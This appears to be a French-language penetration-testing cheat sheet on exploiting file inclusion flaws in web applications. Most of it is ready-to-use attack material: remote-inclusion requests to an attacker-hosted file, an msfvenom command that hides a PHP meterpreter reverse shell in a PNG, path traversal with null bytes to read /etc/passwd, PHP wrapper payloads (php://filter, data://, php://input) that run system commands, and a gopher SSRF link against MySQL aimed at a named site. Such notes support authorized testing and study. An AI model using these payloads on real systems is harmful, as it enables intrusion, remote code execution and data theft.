Test pour des vulnérabilités d’inclusion de fichiers

#Exploitation de RFI


GET /blog/?lang=http://10.10.14.11/test.php #va échouer si l'inclusion de fichiers sur d'autres serveurs n'est pas permise
GET /blog/?lang=//10.10.14.11/test/test.php #un chemin UNC est considéré local 

## LFI, RFI, RCE
uniscan -u http://192.168.44.134:10000/ -qweds

### Test for LFI
# Harvest links from a page (to test for LFI)
fimap -H -u “http://192.168.56.129” -d 3 -w /tmp/urllist
#test for LFI using harvested links
fimap -m -l /tmp/urllist

###Injecter un code malicieux dans un image png
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.9 lport=4444 >> /home/hackingarticles/Desktop/raj.png

### LFI avec WFUZZ. Essayer ces listes pour analyse. dirTraversal Linux et dirTraversal Windows

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

L’octet Null %00 peut être pratique si l’application ajoute une chaîne à la fin du paramètre avant traitement. Il est possible de contourner en utilisant le NULL Byte
http://server/index.php?page=../../../etc/passwd%00

PHP Wrapper: Souvent, la vulnérabilité LFI semble seulement permettre l’inclusion d’un fichier PHP sans plus. Il est bon de connaître certaines des possibilités de PHP. En considérant le paramètre page vulnérable, au lieu d’avoir le résultat de l’exécution du fichier php, nous allons avoir le code source. Nous allons possiblement trouver d’autres vulnérabilités.


?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php
?page=php://filter/convert.base64-decode/resource=index.php

Une deuxième possibilité est de spécifier dans le wrapper data le code à inclure

?page=data:text/plain,<?php phpinfo(); ?>
?page=data:,<?system($_GET['x']);?>&x=ls
?page=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls

si le script vérifie pour une image :

$data=”\x89\x50\x4e\x47\x0D\x0A\x1A\x0AXXXXYYYY” . pack(“NNC”, 1024, 768, 0);

payload:

“data://text/../../etc/passwd;base64,” . base64_encode($data)

le url serait ?image=data://text/../../etc/passwd;base64,iVBORw0KGgpYWFhYWVIZWQAABAAAAAMAAA==

Une troisième possibilité est via input://

http://url/test.php?page=php://input
POST DATA: <?php system('id'); ?>

ou via file://

?url=file:///etc/passwd

ou via le protocole gopher://. Il faut télécharger l’application gopherus. À partir de l’application gopherus, il faut spécifier l’exploit à utiliser : mysql, postgresql, fastcgi, redis, smtp,zabbix, pymemcache, rbmemcache, phpmemcache ou dmpmemcache. Dans le cas de MySQL, gopherus nous demandera le nom de l’usager SQL et la requête à exécuter. Cela va fonctionner s’il n’y a pas de mots de passe associé au nom d’usager. parfois le cas, pour une base de données locale.


Give MySQL username: germain
Give query to execute: use joomla; show tables;

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a6%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%65%72%6d%61%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%20%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

On url-encode par la suite et accède le lien http://searchevolution.com/page.php?url=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a6%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2567%2565%2572%256d%2561%2569%256e%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2519%2500%2500%2500%2503%2575%2573%2565%2520%256a%256f%256f%256d%256c%2561%253b%2520%2573%2568%256f%2577%2520%2574%2561%2562%256c%2565%2573%253b%2501%2500%2500%2500%2501%0A

Il faut la plupart du temps rafraîchir la page 3-4 fois avant d’obtenir un résultat

Autres idées
: Utiliser Nikto : parfois , il retourne des LFI/RFI. Utiliser les scripts HTTP NSE de Nmap

Leave a Reply